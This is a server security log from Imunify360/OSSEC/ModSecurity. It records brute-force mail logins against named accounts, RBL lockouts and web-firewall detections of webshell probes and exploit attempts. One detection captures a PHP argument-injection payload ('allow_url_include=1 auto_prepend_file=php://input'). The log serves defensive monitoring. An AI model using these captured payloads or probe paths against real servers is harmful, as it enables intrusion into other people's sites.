2026-07-23 23:46:54 dovecot_login authenticator failed for H=([61.72.145.120]) [49.125.201.75]:39414: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.198.42
country_id: 1269750
description:
Jul 23 23:47:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.198.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.12.212
country_id: 1269750
description:
2026-07-23 23:46:21 dovecot_plain authenticator failed for H=(knuthiae) [103.17.12.212]:41106: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.28.215
country_id: 1269750
description:
Jul 23 23:46:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.28.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-23 23:47:06 dovecot_login authenticator failed for H=([49.124.151.10]) [152.52.198.42]:48326: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 23:47:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 23:47:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.109.74.217
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/directors HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.211.96
country_id: 99237
description:
Jul 23 23:54:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.211.96 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-23 23:54:04 dovecot_login authenticator failed for H=([68.71.247.133]) [65.20.211.96]:58567: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.38.54
country_id: 1668284
description:
Jul 23 23:54:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.38.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-23 23:54:27 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([45.55.133.80]) [111.70.38.54]:42652: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.37.27.11
country_id: 1835841
description:
Jul 23 23:56:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.37.27.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-23 23:56:55 dovecot_login authenticator failed for H=([174.75.211.211]) [118.37.27.11]:35359: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.51.95.99
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://mzgtv01.com\">\xec\x8a\xa4\xed\x8f\xac\xec\xb8\xa0\xec\xa4\x91\xea\xb3\x84</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.63.34.149
country_id: 1835841
description:
Jul 24 00:02:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.63.34.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-24 00:02:19 dovecot_login authenticator failed for H=([98.181.137.75]) [211.63.34.149]:60909: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 00:06:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 24 00:08:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.58
country_id: 1036973
description:
Jul 24 00:09:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-24 00:09:52 dovecot_login authenticator failed for H=([49.124.152.226]) [197.219.208.58]:35734: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 00:10:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 137.23.50.92
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wp-system||MVN:ARGS:log||WPU:wp-system||User:ibmcglobal||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.110
country_id: 99237
description:
Jul 24 00:09:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-24 00:09:35 dovecot_login authenticator failed for H=([166.239.184.117]) [65.20.233.110]:44368: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jul 24 00:10:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 137.23.50.92
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:ibmcglobal||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-24 00:10:09 dovecot_login authenticator failed for H=([183.171.41.134]) [120.29.140.188]:56795: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 00:11:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 00:12:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 00:17:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-24 00:18:29 dovecot_login authenticator failed for H=([49.124.152.32]) [71.12.42.216]:55894: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.37.27.11
country_id: 1835841
description:
Jul 24 00:22:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.37.27.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-24 00:22:29 dovecot_login authenticator failed for H=([72.206.74.97]) [118.37.27.11]:59002: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-24 00:22:57 dovecot_login authenticator failed for H=([211.216.58.204]) [182.95.181.138]:57484: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.162.111.205
country_id: 1835841
description:
Jul 24 00:24:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.162.111.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-24 00:24:25 dovecot_login authenticator failed for H=([45.55.133.80]) [112.162.111.205]:51185: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 24 00:25:15 vps sshd[3323829]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 00:27:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacrepair2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.165.222
country_id: 3017382
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/stcinemas/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.52.21
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.94
country_id: 458258
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-32.196.196.53.94||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 00:32:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 00:34:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 00:34:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 00:39:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-24 00:45:30 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([220.189.253.198]) [72.234.16.75]:52966: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.105.255.56
country_id: 298795
description:
Jul 24 00:45:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.105.255.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-24 00:45:49 dovecot_login authenticator failed for H=([192.111.143.93]) [85.105.255.56]:47235: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.234.16.75
country_id: 6252001
description:
Jul 24 00:45:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.234.16.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 00:48:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.133.97.153
country_id: 6252001
description:
Jul 24 00:50:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.133.97.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-24 00:50:31 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([60.174.35.18]) [76.133.97.153]:46231: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.14.31.10
country_id: 2921044
description:
Jul 24 00:50:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.14.31.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-24 00:50:42 dovecot_login authenticator failed for H=([112.196.103.235]) [154.14.31.10]:33603: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.51.242.3
country_id: 1814991
description:
2026-07-24 01:34:46 dovecot_login authenticator failed for H=(aes-static-102.79.144.59.airtel.in) [119.51.242.3]:31542: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.51.242.3
country_id: 1814991
description:
Jul 24 01:34:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.51.242.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-24 01:35:17 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([118.145.247.242]) [37.157.91.62]:49988: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.157.91.62
country_id: 453733
description:
Jul 24 01:35:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.157.91.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.177.40.23
country_id: 2017370
description:
Jul 24 01:35:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.177.40.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.152
country_id: 1269750
description:
2026-07-24 01:35:56 dovecot_login authenticator failed for H=([45.236.40.32]) [122.187.227.152]:52080: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.177.40.23
country_id: 2017370
description:
2026-07-24 01:35:29 dovecot_login authenticator failed for H=(mission-web-hosting.com) [178.177.40.23]:42636: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.152
country_id: 1269750
description:
Jul 24 01:35:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 01:38:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 01:39:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.83.36.161
country_id: 690791
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:01-45.77.83.36.161||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 01:45:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 01:47:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 01:48:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 01:50:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.34.128.202
country_id: 6252001
description:
Jul 24 01:50:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.34.128.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-07-24 01:50:41 dovecot_login authenticator failed for H=([115.93.117.61]) [192.34.128.202]:59706: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.51.219.26
country_id: 3469034
description:
Jul 24 01:51:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.51.219.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.51.219.26
country_id: 3469034
description:
2026-07-24 01:51:19 dovecot_login authenticator failed for H=(d54C3B881.access.telenet.be) [187.51.219.26]:46545: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.199.183.73
country_id: 2658434
domain: cpcalendars.cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2022/10/upload.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/2022/10/upload.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 01:59:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.239.145.229
country_id: 6252001
description:
Jul 24 02:02:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.239.145.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-24 02:02:58 dovecot_login authenticator failed for H=([182.79.31.79]) [72.239.145.229]:53394: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 02:02:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-24 02:02:56 dovecot_login authenticator failed for H=([70.166.167.47]) [222.120.63.29]:45331: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.63.29
country_id: 1835841
description:
Jul 24 02:02:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.63.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.195.35.240
country_id: 1814991
description:
Jul 24 02:03:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.195.35.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.195.35.240
country_id: 1814991
description:
2026-07-24 02:03:12 dovecot_login authenticator failed for H=(95-31-209-102.broadband.corbina.ru) [120.195.35.240]:33092: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-24 02:03:08 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([218.92.251.198]) [213.65.190.48]:41176: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.31.167.120
country_id: 1814991
description:
Jul 24 02:04:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.31.167.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.29.128.122
country_id: 1814991
description:
2026-07-24 02:04:42 dovecot_login authenticator failed for H=([37.208.46.131]) [60.29.128.122]:48060: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.31.167.120
country_id: 1814991
description:
2026-07-24 02:04:59 dovecot_login authenticator failed for H=([70.166.167.50]) [112.31.167.120]:60717: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.40.215.162
country_id: 3469034
description:
2026-07-24 02:07:04 dovecot_login authenticator failed for H=([31.173.7.121]) [187.40.215.162]:49493: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.40.215.162
country_id: 3469034
description:
Jul 24 02:07:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.40.215.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.100.212.177
country_id: 1814991
description:
Jul 24 02:06:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.100.212.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.100.212.177
country_id: 1814991
description:
2026-07-24 02:06:48 dovecot_login authenticator failed for H=([67.201.38.131]) [180.100.212.177]:45506: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 185.190.142.132
country_id: 3017382
domain: 103.185.74.189:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 185.190.142.132
country_id: 3017382
domain: 103.185.74.189:80
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 185.190.142.132
country_id: 3017382
domain: 103.185.74.189:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.35||T:APACHE||SC:/var/www/html/hello.world||


plugin: modsec
rule: 77469916
abuser: 165.22.198.217
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-278e950cd57fa7291b9393e09f2fd0f7.xml.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 02:09:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 02:10:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 02:11:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 02:11:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 02:15:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.33.8
country_id: 798544
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmctradeflow/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 74.248.33.8
country_id: 798544
domain: ibmctradeflow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmctradeflow/public_html/wp-includes||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
